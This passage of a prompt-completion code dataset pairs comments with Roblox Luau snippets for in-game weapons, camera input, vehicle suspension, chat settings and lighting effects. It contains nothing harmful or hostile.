{\n\t\tAnimBaseW,\n\t\tRA,\n\t\tLA,\n\t\tAnimBase.GripW,\n\t\tArmaClone,\n\t\tLeft_Weld,\n\t\tRight_Weld,\n\t});\nend;\n\nfunction StanceUp(L_442_arg1)\n\tAnims.StanceUp(Character, Speedo, {\n\t\tAnimBaseW,\n\t\tRA,\n\t\tLA,\n\t\tAnimBase.GripW,\n\t\tArmaClone,\n\t\tLeft_Weld,\n\t\tRight_Weld,\n\t});\nend;\n\nfunction Patrol(L_442_arg1)\n\tAnims.Patrol(Character, Speedo, {\n\t\tAnimBaseW,\n\t\tRA,\n\t\tLA,\n\t\tAnimBase.GripW,\n\t\tArmaClone,\n\t\tLeft_Weld,\n\t\tRight_Weld,\n\t});\nend;\n\nfunction SprintAnim(L_442_arg1)\n\tAnims.SprintAnim(Character, Speedo, {\n\t\tAnimBaseW,\n\t\tRA,\n\t\tLA,\n\t\tAnimBase.GripW,\n\t\tArmaClone,\n\t\tLeft_Weld,\n\t\tRight_Weld,\n\t});\nend;\n\nfunction EquipAnim(L_442_arg1)\nAnimDebounce = true\n\tCan_Shoot = false\n\tReloading = true\n\tAnims.EquipAnim(Character, Speedo, {\n\t\tAnimBaseW,\n\t\tRA,\n\t\tLA,\n\t\tAnimBase.GripW,\n\t\tArmaClone,\n\t\tLeft_Weld,\n\t\tRight_Weld,\n\t});\n\tReloading = false\n\tCan_Shoot = true\nAnimDebounce = false\nend;\n\nfunction ChamberAnim(L_442_arg1)\nAnimDebounce = true\n\tAnims.ChamberAnim(Character, Speedo, {\n\t\tAnimBaseW,\n\t\tRA,\n\t\tLA,\n\t\tAnimBase.GripW,\n\t\tArmaClone,\n\t\tSettings,\n\t\tRight_Weld,\n\t\tLeft_Weld,\n\t});\n\t\tif Ammo.Value > 0 and Chambered.Value ==true and Emperrado.Value == true then\n\t\t\tEmperrado.Value = false\n\t\telseif Ammo.Value > 0 and Chambered.Value == true and Emperrado.Value == false then\n\t\t\tAmmo.Value = Ammo.Value - 1\n\t\tend\n\t\tslideback = false\n\t\tif Ammo.Value > 0 then\n\t\t\tChambered.Value = true\n\t\tend\nAnimDebounce = false\nend;\n\nfunction ZoomAnim(L_442_arg1)\n\tAnims.ZoomAnim(Character, Speedo, {\n\t\tAnimBaseW,\n\t\tRA,\n\t\tLA,\n\t\tAnimBase.GripW,\n\t\tArmaClone,\n\t\tSettings,\n\t\tLeft_Weld,\n\t\tRight_Weld,\n\t});\nend;\n\nfunction UnZoomAnim(L_442_arg1)\n\tAnims.UnZoomAnim(Character, Speedo, {\n\t\tAnimBaseW,\n\t\tRA,\n\t\tLA,\n\t\tAnimBase.GripW,\n\t\tArmaClone,\n\t\tSettings,\n\t\tLeft_Weld,\n\t\tRight_Weld,\n\t});\nend;\n\nfunction ChamberBKAnim(L_442_arg1)\nAnimDebounce = true\n\tAnims.ChamberBKAnim(Character, Speedo, {\n\t\tAnimBaseW,\n\t\tRA,\n\t\tLA,\n\t\tAnimBase.GripW,\n\t\tArmaClone,\n\t\tSettings,\n\t\tLeft_Weld,\n\t\tRight_Weld,\n\t});\n\t\tslideback = false\n\t\tif Ammo.Value > 0 then\n\t\t\tChambered.Value = true\n\t\tend\nAnimDebounce = false\nend;\n\nfunction CheckAnim(L_442_arg1)\nAnimDebounce = true\n\tCheckMagFunction()\n\tAnims.CheckAnim(Character, Speedo, {\n\t\tAnimBaseW,\n\t\tRA,\n\t\tLA,\n\t\tAnimBase.GripW,\n\t\tArmaClone,\n\t\tStoredAmmo,\n\t\tAmmo,\n\t\tSettings,\n\t\tChambered,\n\t\tLeft_Weld,\n\t\tRight_Weld,\n\t});\nAnimDebounce = false\nend;\n\nfunction ShellInsertAnim(L_442_arg1)\nAnimDebounce = true\n\tAnims.ShellInsertAnim(Character, Speedo, {\n\t\tAnimBaseW,\n\t\tRA,\n\t\tLA,\n\t\tAnimBase.GripW,\n\t\tArmaClone,\n\t\tStoredAmmo,\n\t\tAmmo,\n\t\tSettings,\n\t\tChambered,\n\t\tLeft_Weld,\n\t\tRight_Weld,\n\t});\nEvt.Recarregar:FireServer(StoredAmmo.Value,ArmaClient)\nAnimDebounce = false\nend;\n\nfunction ReloadAnim(L_442_arg1)\nAnimDebounce = true\n\tAnims.ReloadAnim(Character, Speedo, {\n\t\tAnimBaseW,\n\t\tRA,\n\t\tLA,\n\t\tAnimBase.GripW,\n\t\tArmaClone,\n\t\tStoredAmmo,\n\t\tAmmo,\n\t\tSettings,\n\t\tChambered,\n\t\tLeft_Weld,\n\t\tRight_Weld,\n\t});\nEvt.Recarregar:FireServer(StoredAmmo.Value,ArmaClient)\nAnimDebounce = false\nend;\n\nfunction GLReloadAnim(L_442_arg1)\nAnimDebounce = true\n\tAnims.GLReloadAnim(Character, Speedo, {\n\t\tAnimBaseW,\n\t\tRA,\n\t\tLA,\n\t\tAnimBase.GripW,\n\t\tArmaClone,\n\t\tStoredAmmo,\n\t\tAmmo,\n\t\tSettings,\n\t\tChambered,\n\t\tLeft_Weld,\n\t\tRight_Weld,\n\t});\nEvt.Recarregar:FireServer(StoredAmmo.Value,ArmaClient)\nAnimDebounce = false\nend;\n"} +{"prompt": "-- constants", "completion": "\n\nlocal PLAYER\t= Players.LocalPlayer\n\nreturn function(character)\n\tlocal effects\t= character.Effects\n\tlocal rootPart\t= character.HumanoidRootPart\n\t\n\twait(0.1)\n\t\n\tlocal sound\t= script.FreezeSound:Clone()\n\t\tsound.Parent\t= rootPart\n\t\tsound:Play()\n\t\n\tfor _, v in pairs(character:GetChildren()) do\n\t\tif v:IsA(\"BasePart\") and v ~= rootPart then\n\t\t\tlocal weld\t= Instance.new(\"Weld\")\n\t\t\t\tweld.Part0\t= rootPart\n\t\t\t\tweld.Part1\t= v\n\t\t\t\tweld.C0\t\t= rootPart.CFrame:ToObjectSpace(v.CFrame)\n\t\t\t\tweld.Parent\t= v\n\t\t\t\n\t\t\tif v.Transparency < 0.5 then\n\t\t\t\tlocal ice\t= script.IcePart:Clone()\n\t\t\t\t\tice.Size\t= v.Size + Vector3.new(0.4, 0.4, 0.4)\n\t\t\t\t\tice.CFrame\t= v.CFrame\n\t\t\t\t\tice.Parent\t= effects\n\t\t\t\t\t\n\t\t\t\tlocal weld\t= Instance.new(\"Weld\")\n\t\t\t\t\tweld.Part0\t= v\n\t\t\t\t\tweld.Part1\t= ice\n\t\t\t\t\tweld.Parent\t= ice\n\t\t\t\t\t\n\t\t\t\twait(0.05)\n\t\t\tend\n\t\tend\n\tend\nend\n"} +{"prompt": "----------------------------------------------------------------------------------------------------\n--------------------=[ OUTROS ]=--------------------------------------------------------------------\n----------------------------------------------------------------------------------------------------", "completion": "\n\t,FastReload = true\t\t\t\t\t--- Automatically operates the bolt on reload if needed\n\t,SlideLock = false\n\t,MoveBolt = false\n\t,BoltLock = false\n\t,CanBreachDoor = false\n\t,CanBreak = true\t\t\t\t\t--- Weapon can jam?\n\t,JamChance = 1000\t\t\t\t\t--- This old piece of brick doesn't work fine >;c\n\t,IncludeChamberedBullet = true\t\t--- Include the chambered bullet on next reload\n\t,Chambered = false\t\t\t\t\t--- Start with the gun chambered?\n\t,LauncherReady = false\t\t\t\t--- Start with the GL ready?\n\t,CanCheckMag = true\t\t\t\t\t--- You can check the magazine\n\t,ArcadeMode = false\t\t\t\t\t--- You can see the bullets left in magazine\n\t,RainbowMode = false\t\t\t\t--- Operation: Party Time xD\n\t,ModoTreino = false\t\t\t\t\t--- Surrender enemies instead of killing them\n\t,GunSize = 6.5\n\t,GunFOVReduction = 5.5\n\n\t,BoltExtend = Vector3.new(0, 0, 0.4)\n\t,SlideExtend = Vector3.new(0, 0, 0.4)\t"} +{"prompt": "----------------------------------------------------------------------\n--------------------[ SHOCKWAVE HANDLING ]----------------------------\n----------------------------------------------------------------------", "completion": "\n\nlocal createShockwave = script:WaitForChild(\"createShockwave\")\ncreateShockwave.OnServerEvent:connect(function(_, Center, Radius, gunIgnore, S)\n\tlocal Shockwave = Instance.new(\"Part\")\n\tShockwave.BrickColor = S.shockwaveSettings.Color\n\tShockwave.Material = Enum.Material.SmoothPlastic\n\tShockwave.Name = \"Shockwave\"\n\tShockwave.Anchored = true\n\tShockwave.CanCollide = false\n\tShockwave.FormFactor = Enum.FormFactor.Symmetric\n\tShockwave.Size = V3(1, 1, 1)\n\tShockwave.BottomSurface = Enum.SurfaceType.Smooth\n\tShockwave.TopSurface = Enum.SurfaceType.Smooth\n\tlocal Mesh = Instance.new(\"SpecialMesh\")\n\tMesh.MeshType = Enum.MeshType.Sphere\n\tMesh.Scale = V3()\n\tMesh.Parent = Shockwave\n\tShockwave.Parent = gunIgnore\n\tShockwave.CFrame = CF(Center)\n\tspawn(function()\n\t\tlocal t0 = tick()\n\t\twhile true do\n\t\t\tlocal Alpha = math.min((tick() - t0) / S.shockwaveSettings.Duration, 1)\n\t\t\tlocal Scale = 2 * Radius * Alpha\n\t\t\tMesh.Scale = V3(Scale, Scale, Scale)\n\t\t\tShockwave.Transparency = Alpha\n\t\t\tif Alpha == 1 then break end\n\t\t\twait()\n\t\tend\n\t\tShockwave:Destroy()\n\tend)\nend)\n"} +{"prompt": "--[[\n\tTODO\n\n\t* create a config so i can stop putting constant numbers and values\n--]]", "completion": "\n"} +{"prompt": "--- TagHumanoid", "completion": "\nfunction tagHumanoid(humanoid, player)\n\tlocal creator_tag = Instance.new(\"ObjectValue\")\n\tcreator_tag.Value = player\n\tcreator_tag.Name = \"creator\"\n\tcreator_tag.Parent = humanoid\nend\n\nfunction untagHumanoid(humanoid)\n\tif humanoid ~= nil then\n\t\tlocal tag = humanoid:findFirstChild(\"creator\")\n\t\tif tag ~= nil then\n\t\t\ttag.Parent = nil\n\t\tend\n\tend\nend\n"} +{"prompt": "-- deviation START: No Luau support for numeric literal types\n-- export type EventPriority = 0 | 1 | 2;", "completion": "\nexport type EventPriority = number"} +{"prompt": "--- Sets the hide on 'lost focus' feature.", "completion": "\nfunction Cmdr:SetHideOnLostFocus(enabled)\n\tself.HideOnLostFocus = enabled\nend\n"} +{"prompt": "-- Subtracting position from the CFrame leaves you with just the rotational elements of the CFrame", "completion": "\nlocal rotationOffset = (npcModel.PrimaryPart.CFrame - npcModel.PrimaryPart.CFrame.Position):Inverse()\nlocal Animations = {\n\tSuperheroIdle = 616111295,\n\tWave = 507770239,\n}\nlocal NPC = {\n\tWaist = npcModel.UpperTorso.Waist,\n\tRoot = npcModel.LowerTorso.Root,\n\tNeck = npcModel.Head.Neck,\n}\nlocal TwistProportions = {\n\tRoot = .2,\n\tWaist = .3,\n\tNeck = .5,\n\tFull = 1,\n}\n\n"} +{"prompt": "--[[Suspension]]", "completion": "\n\tTune.SuspensionEnabled\t= true\t\t-- Enables suspension, true or false\n\t\n\t--Front Strut\n\tTune.FSusStiffness\t= 20000\t\t-- Spring Force\n\tTune.FSusDamping\t= 500\t\t-- Spring Damping\n\tTune.FSusLength\t\t= 2\t\t\t-- Base spring height (in studs)\n\tTune.FPreCompress\t= .2\t\t-- Adds to base spring height (in studs)\n\tTune.FExtensionLim\t= .4\t\t-- Max Extension Travel (in studs)\n\tTune.FCompressLim\t= .1\t\t-- Max Compression Travel (in studs)\n\n\tTune.FGyroDampening = 50\t\t-- Front Suspension Gyro Dampening\n\t\n\t--Rear Strut\n\tTune.RSusStiffness\t= 20000\t\t-- Spring Force\n\tTune.RSusDamping\t= 500\t\t-- Spring Damping\n\tTune.RSusLength\t\t= 2\t\t\t-- Base spring height (in studs)\n\tTune.RPreCompress\t= .2\t\t-- Adds to base spring height (in studs)\n\tTune.RExtensionLim\t= .4\t\t-- Max Extension Travel (in studs)\n\tTune.RCompressLim\t= .1\t\t-- Max Compression Travel (in studs)\n\n\tTune.RGyroDampening = 50\t\t-- Rear Suspension Gyro Dampening\n\n\t--Old Suspension Settings, applies if there is no SuspensionGeometry for the respective wheel\n\tTune.FSusAngle\t\t= 80\t\t-- Spring Angle (degrees from horizontal)\n\tTune.FWsBoneLen\t\t= 4\t\t\t-- Wishbone Length\n\tTune.FWsBoneAngle\t= 0\t\t\t-- Wishbone angle (degrees from horizontal)\n\tTune.FAnchorOffset\t= {\t\t\t-- Suspension anchor point offset (relative to center of wheel)\n\t\t--[[Lateral]]\t\t-.4\t\t,\t-- positive = outward\n\t\t--[[Vertical]]\t\t-.5\t\t,\t-- positive = upward\n\t\t--[[Forward]]\t\t0\t\t}\t-- positive = forward\n\tTune.FSpringOffset\t= {\t\t\t-- Suspension anchor point offset (relative to ABOVE anchor offset) (Avxnturador)\n\t\t--[[Lateral]]\t\t0\t\t,\t-- positive = outward \n\t\t--[[Vertical]]\t\t0\t\t,\t-- positive = upward\n\t\t--[[Forward]]\t\t0\t\t}\t-- positive = forward\n\n\tTune.RSusAngle\t\t= 80\t\t-- Spring Angle (degrees from horizontal)\n\tTune.RWsBoneLen\t\t= 4\t\t\t-- Wishbone Length\n\tTune.RWsBoneAngle\t= 0\t\t\t-- Wishbone angle (degrees from horizontal)\n\tTune.RAnchorOffset\t= {\t\t\t-- Suspension anchor point offset (relative to center of wheel)\n\t --[[Lateral]]\t\t-.4\t\t,\t-- positive = outward\n\t --[[Vertical]]\t\t-.5\t\t,\t-- positive = upward\n\t --[[Forward]]\t\t0\t\t}\t-- positive = forward\n\tTune.RSpringOffset\t= {\t\t\t-- Suspension anchor point offset (relative to ABOVE anchor offset) (Avxnturador)\n\t --[[Lateral]]\t\t0\t\t,\t-- positive = outward \n\t --[[Vertical]]\t\t0\t\t,\t-- positive = upward\n\t --[[Forward]]\t\t0\t\t}\t-- positive = forward\n\t\n\t--Aesthetics\t\n\tTune.SusVisible\t\t= false\t\t\t-- Suspension Visible\n\tTune.SusRadius\t\t= .2\t\t\t-- Spring Coil Radius\n\tTune.SusThickness\t= .1\t\t\t-- Spring Coil Thickness\n\tTune.SusColor\t\t= \"Bright red\"\t-- Spring Color [BrickColor]\n\tTune.SusCoilCount\t= 6\t\t\t\t-- Spring Coil Count\n"} +{"prompt": "-- Make the chat work when the top bar is off", "completion": "\nmodule.ChatOnWithTopBarOff = false\nmodule.ScreenGuiDisplayOrder = 6 -- The DisplayOrder value for the ScreenGui containing the chat.\n\nmodule.ShowFriendJoinNotification = true -- Show a notification in the chat when a players friend joins the game.\n"} +{"prompt": "--used by checkTeams", "completion": "\n\nfunction tagHuman(human)\n\tlocal tag = Tag:Clone()\n\ttag.Parent = human\n\tgame:GetService(\"Debris\"):AddItem(tag)\nend\n"} +{"prompt": "---[[ Channel Settings ]]", "completion": "\nmodule.GeneralChannelName = \"All\" -- You can set to nil to turn off echoing to a general channel.\nmodule.EchoMessagesInGeneralChannel = true -- Should messages to channels other than general be echoed into the general channel."} +{"prompt": "--[[**\n\tensures Lua primitive boolean type\n\n\t@param value The value to check against\n\n\t@returns True iff the condition is satisfied, false otherwise\n**--]]", "completion": "\nt.boolean = primitive(\"boolean\")\n"} +{"prompt": "-- this is my first free model lol", "completion": "\n\nlocal startergui = game:GetService(\"StarterGui\")\nscript.squareDeathScreen.Parent = (startergui)\nscript:Destroy()\n"} +{"prompt": "---------------------------------\n---Day/Night Script for Blocks---\n---------------------------------", "completion": "\nb = script.Parent\n\nlocal oh,om = 6,10\t-- Open Time (hours,minutes) DON'T TOUCH!\nlocal ch,cm = 17,30\t-- Close Time (hours, minutes) DON'T TOUCH!\n\nlocal l = game.Lighting\nif (om == nil) then om = 0 end\nif (cm == nil) then cm = 0 end\n\nfunction TimeChanged()\n\tlocal ot = (oh + (om/60)) * 60\n\tlocal ct = (ch + (cm/60)) * 60\n\tif ot < ct then\n\t\tif (l:GetMinutesAfterMidnight() >= ot) and (l:GetMinutesAfterMidnight() <= ct) then\n\t\t\tb.Material = (\"SmoothPlastic\")\n\t\t\tb.Color = Color3.fromRGB(255, 195, 0)\n\t\telse\n\t\t\tb.Material = (\"Neon\")\n\t\t\tb.Color = Color3.fromRGB(180, 135, 0)\n\t\tend\n\telseif (ot > ct) then\n\t\tif (l:GetMinutesAfterMidnight() >= ot) or (l:GetMinutesAfterMidnight() <= ct) then\n\t\t\tb.Material = (\"SmoothPlastic\")\n\t\t\tb.Color = Color3.fromRGB(255, 195, 0)\n\t\telse\n\t\t\tb.Material = (\"Neon\")\n\t\t\tb.Color = Color3.fromRGB(180, 135, 0)\n\t\tend\n\tend\nend\n\nTimeChanged()\ngame.Lighting.Changed:Connect(function(property)\n\tif property == \"TimeOfDay\" then TimeChanged() end\nend)\n"} +{"prompt": "-- Input related functions", "completion": "\n\nfunction ShoulderCamera:applyInput(yaw, pitch)\n\tlocal yInvertValue = UserGameSettings:GetCameraYInvertValue()\n\tself.yaw = self.yaw + yaw\n\tself.pitch = math.clamp(self.pitch + pitch * yInvertValue, self.minPitch, self.maxPitch)\nend\n\nfunction ShoulderCamera:processGamepadInput(dt)\n\tlocal gamepadPan = self.gamepadPan\n\tif gamepadPan then\n\t\tgamepadPan = gamepadLinearToCurve(gamepadPan)\n\t\tif gamepadPan.X == 0 and gamepadPan.Y == 0 then\n\t\t\tself.lastThumbstickTime = nil\n\t\t\tif self.lastThumbstickPos.X == 0 and self.lastThumbstickPos.Y == 0 then\n\t\t\t\tself.currentGamepadSpeed = 0\n\t\t\tend\n\t\tend\n\n\t\tlocal finalConstant = 0\n\t\tlocal currentTime = tick()\n\n\t\tif self.lastThumbstickTime then\n\t\t\tlocal elapsed = (currentTime - self.lastThumbstickTime) * 10\n\t\t\tself.currentGamepadSpeed = self.currentGamepadSpeed + (6 * ((elapsed ^ 2) / 0.7))\n\n\t\t\tif self.currentGamepadSpeed > 6 then self.currentGamepadSpeed = 6 end\n\n\t\t\tif self.lastGamepadVelocity then\n\t\t\t\tlocal velocity = (gamepadPan - self.lastThumbstickPos) / (currentTime - self.lastThumbstickTime)\n\t\t\t\tlocal velocityDeltaMag = (velocity - self.lastGamepadVelocity).Magnitude\n\n\t\t\t\tif velocityDeltaMag > 12 then\n\t\t\t\t\tself.currentGamepadSpeed = self.currentGamepadSpeed * (20 / velocityDeltaMag)\n\t\t\t\t\tif self.currentGamepadSpeed > 6 then\n\t\t\t\t\t\tself.currentGamepadSpeed = 6\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tfinalConstant = GameSettings.GamepadCameraSensitivity * self.currentGamepadSpeed * dt\n\t\t\tself.lastGamepadVelocity = (gamepadPan - self.lastThumbstickPos) / (currentTime - self.lastThumbstickTime)\n\t\tend\n\t\tself.lastThumbstickPos = gamepadPan\n\t\tself.lastThumbstickTime = currentTime\n\n\t\tlocal yawInput = -gamepadPan.X * finalConstant * self.gamepadSensitivityModifier.X\n\t\tlocal pitchInput = finalConstant * gamepadPan.Y * GameSettings:GetCameraYInvertValue() * self.gamepadSensitivityModifier.Y\n\n\t\tself:applyInput(yawInput, pitchInput)\n\tend\nend\n\nfunction ShoulderCamera:handleTouchToolFiring()\n\tif self.touchObj then\n\t\tif self.lastTapEndTime then -- and not (self.zoomState and self.hasScope) then\n\t\t\tlocal touchTime = tick() - self.lastTapEndTime\n\t\t\tif touchTime < self.touchDelayTime and self.currentTool and self.touchPanAccumulator.Magnitude < 0.5 and not self.firingTool and not self.applyingTouchPan then\n\t\t\t\tself.firingTool = true\n\t\t\t\tself.currentTool:Activate()\n\t\t\tend\n\t\tend\n\telse\n\t\tif self.currentTool and self.firingTool then\n\t\t\tself.currentTool:Deactivate()\n\t\tend\n\t\tself.firingTool = false\n\tend\nend\n\nfunction ShoulderCamera:isTouchPositionForCamera(pos)\n\tif LocalPlayer then\n\t\tlocal guiObjects = LocalPlayer.PlayerGui:GetGuiObjectsAtPosition(pos.X, pos.Y)\n\t\tfor _, guiObject in ipairs(guiObjects) do\n\t\t\tif guiObject.Name == \"DynamicThumbstickFrame\" then\n\t\t\t\treturn false\n\t\t\tend\n\t\tend\n\t\treturn true\n\tend\n\treturn false\nend\n\nfunction ShoulderCamera:onInputBegan(inputObj, wasProcessed)\n\tif self.touchObj then\n\t\tself.touchObj = nil\n\t\twasProcessed = false\n\tend\n\n\tif inputObj.KeyCode == Enum.KeyCode.Thumbstick2 then\n\t\tself.gamepadPan = Vector2.new(inputObj.Position.X, inputObj.Position.Y)\n\telseif inputObj.KeyCode == Enum.KeyCode.Thumbstick1 then\n\t\tself.movementPan = Vector2.new(inputObj.Position.X, inputObj.Position.Y)\n\telseif inputObj.UserInputType == Enum.UserInputType.Touch then\n\t\tlocal touchStartPos = Vector2.new(inputObj.Position.X, inputObj.Position.Y)\n\t\tif --[[not wasProcessed and]] self:isTouchPositionForCamera(touchStartPos) and not self.touchObj then\n\t\t\tself.touchObj = inputObj\n\t\t\tself.touchStartTime = tick()\n\t\t\tself.eventConnections.touchChanged = inputObj.Changed:Connect(function(prop)\n\t\t\t\tif prop == \"Position\" then\n\t\t\t\t\tlocal touchTime = tick() - self.touchStartTime\n\n\t\t\t\t\tlocal newTouchPos = Vector2.new(inputObj.Position.X, inputObj.Position.Y)\n\t\t\t\t\tlocal delta = (newTouchPos - touchStartPos) * self.currentTouchSensitivity\n\t\t\t\t\tlocal yawInput = -delta.X\n\t\t\t\t\tlocal pitchInput = -delta.Y\n\t\t\t\t\tif self.touchPanAccumulator.Magnitude > 0.01 and touchTime > self.touchDelayTime then\n\t\t\t\t\t\tif not self.applyingTouchPan then\n\t\t\t\t\t\t\tself.applyingTouchPan = true\n\t\t\t\t\t\t\tself.touchPanAccumulator = Vector2.new(0, 0)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tself:applyInput(yawInput, pitchInput)\n\t\t\t\t\tself.touchPanAccumulator = self.touchPanAccumulator + Vector2.new(yawInput, pitchInput)\n\t\t\t\t\ttouchStartPos = newTouchPos\n\t\t\t\tend\n\t\t\tend)\n\t\tend\n\tend\nend\n\nfunction ShoulderCamera:onInputChanged(inputObj, wasProcessed)\n\tif inputObj.UserInputType == Enum.UserInputType.MouseMovement then\n\t\tlocal yawInput = -inputObj.Delta.X * self.currentMouseRadsPerPixel.X\n\t\tlocal pitchInput = -inputObj.Delta.Y * self.currentMouseRadsPerPixel.Y\n\n\t\tself:applyInput(yawInput, pitchInput)\n\telseif inputObj.KeyCode == Enum.KeyCode.Thumbstick2 then\n\t\tself.gamepadPan = Vector2.new(inputObj.Position.X, inputObj.Position.Y)\n\telseif inputObj.KeyCode == Enum.KeyCode.Thumbstick1 then\n\t\tself.movementPan = Vector2.new(inputObj.Position.X, inputObj.Position.Y)\n\tend\nend\n\nfunction ShoulderCamera:onInputEnded(inputObj, wasProcessed)\n\tif inputObj.KeyCode == Enum.KeyCode.Thumbstick2 then\n\t\tself.gamepadPan = Vector2.new(0, 0)\n\telseif inputObj.KeyCode == Enum.KeyCode.Thumbstick1 then\n\t\tself.movementPan = Vector2.new(0, 0)\n\telseif inputObj.UserInputType == Enum.UserInputType.Touch then\n\t\tif self.touchObj == inputObj then\n\t\t\tif self.eventConnections and self.eventConnections.touchChanged then\n\t\t\t\tself.eventConnections.touchChanged:Disconnect()\n\t\t\t\tself.eventConnections.touchChanged = nil\n\t\t\tend\n\n\t\t\tlocal touchTime = tick() - self.touchStartTime\n\t\t\tif self.currentTool and self.firingTool then\n\t\t\t\tself.currentTool:Deactivate()\n\t\t\telseif self.zoomState and self.hasScope and touchTime < self.touchDelayTime and not self.applyingTouchPan then\n\t\t\t\tself.currentTool:Activate() -- this makes sure to shoot the sniper with a single tap when it is zoomed in\n\t\t\t\tself.currentTool:Deactivate()\n\t\t\tend\n\t\t\tself.firingTool = false\n\n\t\t\tself.touchPanAccumulator = Vector2.new(0, 0)\n\t\t\tif touchTime < self.touchDelayTime and not self.applyingTouchPan then\n\t\t\t\tself.lastTapEndTime = tick()\n\t\t\telse\n\t\t\t\tself.lastTapEndTime = nil\n\t\t\tend\n\t\t\tself.applyingTouchPan = false\n\n\t\t\tself.gamepadPan = Vector2.new(0, 0)\n\t\t\tself.touchObj = nil\n\t\tend\n\tend\nend\n\nreturn ShoulderCamera\n"} +{"prompt": "--- Gold", "completion": "\n Beli.Value = Beli11:GetAsync(Plr.UserId) or Beli.Value\n\t Beli11:SetAsync(Plr.UserId, Beli.Value)\n Beli.Changed:connect(function()\n\t Beli11:SetAsync(Plr.UserId, Beli.Value)\n end)"} +{"prompt": "--W8 = script.Parent.WaterSwirl8.ParticleEmitter\n--Clicks = script.Parent.Motorz.Sound\n--script.Parent.Pushed.Disabled = true\n--Clicks:Play()\n--wait(2.25)", "completion": "\n"} +{"prompt": "-- Fonction pour mettre \u00e0 jour la position et l'orientation du bras droit", "completion": "\nlocal function updateRightArm()\n\tif rightArm then\n\t\trightArm.CFrame = camera.CFrame * CFrame.new(1, -1, 0) -- Ajuste les valeurs pour l'emplacement souhait\u00e9 du bras\n\tend\nend\n"} +{"prompt": "-- Customization", "completion": "\n\tAntiTK = false; -- Set to false to allow TK and damaging of NPC, true for no TK. (To damage NPC, this needs to be false)\n\t\n\tMouseSense = 0.5;\n\n\tCanAim = true; -- Allows player to aim\n\tCanBolt = false; -- When shooting, if this is enabled, the bolt will move (SCAR-L, ACR, AK Series)\n\t\n\tLaserAttached = true;\n\tLightAttached = true;\n\tTracerEnabled = true;\n\t\n\tSprintSpeed = 20;\n\t\n\tCanCallout = false;\n\tSuppressCalloutChance = 0;\n"} +{"prompt": "-- Returns topmost ancestor in hierarchy descending from points folder", "completion": "\nlocal function getTopAncestor(part)\n\tlocal prevParent = part\n\tlocal parent = part.Parent\n\t\t\n\twhile not parent:IsA(\"Folder\") do\n\t\tprevParent = parent\n\t\tparent = parent.Parent\n\tend\n\t\t\n\treturn prevParent\nend\n\nlocal function getPositionRelativetoBase(part, pos)\n\tlocal basePlate = workspace:FindFirstChild(\"Baseplate\")\n\tlocal basePosition = basePlate:GetChildren()[1].Position\n\tlocal baseSize = basePlate:GetChildren()[1].Size\n\t\n\tlocal posY = pos.Y\n\tlocal basePosY = basePosition.Y\n\tlocal baseSizeY = baseSize.Y\n\treturn Vector3.new(pos.X, (basePosY + baseSizeY/2) + part.Size.Y/2, pos.Z)\nend\n\t\nlocal function breakModel(model)\n\tlocal children = model:GetChildren()\n\t\t\n\tfor i,child in pairs(children) do\n\t\t-- Make part/model non-collidable\n\t\tif child:IsA(\"Model\") then\n\t\t\tbreakModel(child)\n\t\telseif child:IsA(\"Part\") then\n\t\t\tchild.CanCollide = false\n\t\tend\n\tend\nend\n"} +{"prompt": "--Offset For Each New Ray For The Bullet's Trajectory", "completion": "\nlocal offset\t\t\t= (parts.Parent.Gun.Muzzle.CFrame*CFrame.new(math.random(-5,5)/3,100,math.random(-5,5)/3).p\n\t\t\t\t\t\t\t- parts.Parent.Gun.Muzzle.Position).unit\n\t\t\t\t\t\t\t*script.Parent.Stats.GunVelocity.Value\nlocal point1\t\t\t= parts.Parent.Gun.Muzzle.Position"} +{"prompt": "----------------------------------------------------------------------------------------------------\n--------------------=[ CFRAME ]=--------------------------------------------------------------------\n----------------------------------------------------------------------------------------------------", "completion": "\n\t,EnableHolster = false\n\t,HolsterTo = 'Torso'\t\t\t\t -- Put the name of the body part you wanna holster to\n\t,HolsterPos = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0))\n\t\n\t,RightArmPos = CFrame.new(-0.85, 0.15, -1.2) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))\t--Server\n\t,LeftArmPos = CFrame.new(1.05,0.9,-1.4) * CFrame.Angles(math.rad(-100),math.rad(25),math.rad(-20))\t--server\n\t\n\t,ServerGunPos = CFrame.new(-.3, -1, -0.4) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))\n\t,GunPos = CFrame.new(0.15, -0.15, 1) * CFrame.Angles(math.rad(90), math.rad(0), math.rad(0))\n\n\t,RightPos = CFrame.new(-.65, -0.2, -1) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))\t--Client\n\t,LeftPos = CFrame.new(1,-0.05,-1.4) * CFrame.Angles(math.rad(-120),math.rad(35),math.rad(-20))\t--Client\n}\n\nreturn Config\n\n"} +{"prompt": "--// Firemode Functions", "completion": "\nfunction CreateBullet(L_185_arg1)\n\tlocal L_186_ = L_55_.Position\n\tlocal L_187_ = (L_4_.Hit.p - L_186_).unit\n\tlocal L_188_ = CFrame.Angles(math.rad(math.random(-L_185_arg1, L_185_arg1)), math.rad(math.random(-L_185_arg1, L_185_arg1)), math.rad(math.random(-L_185_arg1, L_185_arg1)))\n\tL_187_ = L_188_ * L_187_\t\n\tlocal L_189_ = CFrame.new(L_186_, L_186_ + L_187_)\t\n\t\t\n\tlocal L_190_ = Instance.new(\"Part\", L_93_)\n\tgame.Debris:AddItem(L_190_, 10)\n\tL_190_.Shape = Enum.PartType.Ball\n\tL_190_.Size = Vector3.new(1, 1, 12)\n\tL_190_.Name = \"Bullet\"\n\tL_190_.TopSurface = \"Smooth\"\n\tL_190_.BottomSurface = \"Smooth\"\n\tL_190_.BrickColor = BrickColor.new(\"Bright green\")\n\tL_190_.Material = \"Neon\"\n\tL_190_.CanCollide = false\n\t\t--Bullet.CFrame = FirePart.CFrame + (Grip.CFrame.p - Grip.CFrame.p)\n\tL_190_.CFrame = L_189_\n\t\t\n\tlocal L_191_ = Instance.new(\"Sound\")\n\tL_191_.SoundId = \"rbxassetid://341519743\"\n\tL_191_.Looped = true\n\tL_191_:Play()\n\tL_191_.Parent = L_190_\n\tL_191_.Volume = 0.4\n\tL_191_.MaxDistance = 30\n\t\n\tL_190_.Transparency = 1\n\tlocal L_192_ = L_190_:GetMass()\n\tlocal L_193_ = Instance.new('BodyForce', L_190_)\n\t\t\n\tif not L_77_ then\n\t\tL_193_.Force = L_24_.BulletPhysics\n\t\tL_190_.Velocity = L_187_ 